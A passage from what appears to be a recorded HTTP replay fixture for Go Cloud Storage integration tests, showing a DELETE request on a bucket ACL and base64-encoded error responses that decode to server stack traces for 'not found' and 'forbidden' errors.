OjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YTo4Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuZGVsZXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBTcGVjaWZpZWQgQUNMIHNjb3BlIHdhcyBub3QgZm91bmRcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBkb21haW49Z2xvYmFsLCBleHRlbmRlZEhlbHA9bnVsbCwgaHR0cEhlYWRlcnM9e30sIGh0dHBTdGF0dXM9bm90Rm91bmQsIGludGVybmFsUmVhc29uPVJlYXNvbnthcmd1bWVudHM9e30sIGNhdXNlPW51bGwsIGNvZGU9Z2RhdGEuQ29yZUVycm9yRG9tYWluLk5PVF9GT1VORCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OkFDTF9TQ09QRV9OT1RfRk9VTkQ6IFNwZWNpZmllZCBBQ0wgc2NvcGUgd2FzIG5vdCBmb3VuZFxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5EZWxldGVBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVBY2xzLmphdmE6ODYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5EZWxldGVBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVBY2xzLmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmRlbGV0ZShBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjEwOSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogU3BlY2lmaWVkIEFDTCBzY29wZSB3YXMgbm90IGZvdW5kXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZXJyb3JQcm90b0NvZGU9Tk9UX0ZPVU5ELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPWVudGl0eS5yZXNvdXJjZV9pZC5zY29wZSwgbWVzc2FnZT1udWxsLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249ZW50aXR5LnJlc291cmNlX2lkLnNjb3BlLCBtZXNzYWdlPU5vdCBGb3VuZCwgcmVhc29uPW5vdEZvdW5kLCBycGNDb2RlPTQwNH0gTm90IEZvdW5kOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6QUNMX1NDT1BFX05PVF9GT1VORDogU3BlY2lmaWVkIEFDTCBzY29wZSB3YXMgbm90IGZvdW5kXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YTo4Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuZGVsZXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBTcGVjaWZpZWQgQUNMIHNjb3BlIHdhcyBub3QgZm91bmRcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkVycm9yQ29sbGVjdG9yLnRvRmF1bHQoRXJyb3JDb2xsZWN0b3IuamF2YTo1NClcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lFcnJvckNvbnZlcnRlci50b0ZhdWx0KFJvc3lFcnJvckNvbnZlcnRlci5qYXZhOjY3KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjU5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjM5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIudGhyZWFkLlRocmVhZFRyYWNrZXJzJFRocmVhZFRyYWNraW5nUnVubmFibGUucnVuKFRocmVhZFRyYWNrZXJzLmphdmE6MTI2KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTo0NTMpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5zZXJ2ZXIuQ29tbW9uTW9kdWxlJENvbnRleHRDYXJyeWluZ0V4ZWN1dG9yU2VydmljZSQxLnJ1bkluQ29udGV4dChDb21tb25Nb2R1bGUuamF2YTo4MDIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUkMS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDYwKVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKFRyYWNlQ29udGV4dC5qYXZhOjMxOSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTozMTEpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ1Nylcblx0YXQgY29tLmdvb2dsZS5nc2UuaW50ZXJuYWwuRGlzcGF0Y2hRdWV1ZUltcGwkV29ya2VyVGhyZWFkLnJ1bihEaXNwYXRjaFF1ZXVlSW1wbC5qYXZhOjQwMylcbiJ9XSwiY29kZSI6NDA0LCJtZXNzYWdlIjoiTm90IEZvdW5kIn19" - } - }, - { - "ID": "1ef9ea9b9bc398a6", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/acl/domain-google.com?alt=json\u0026prettyPrint=false\u0026userProject=veener-jba", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 403, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "13099" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:03 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:03 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2Ur5WrZwygTHM0dDH6L1kypZzaAQtCwxt9wA7VXvgnjwrfwdRnTw0D7K3VLYLRTPDcf8mRFn5CetkcimFxfqUDoWLMF7bH1TLiBr38K6aBU74aRWUd4" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImZvcmJpZGRlbiIsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjg2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci5kZWxldGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2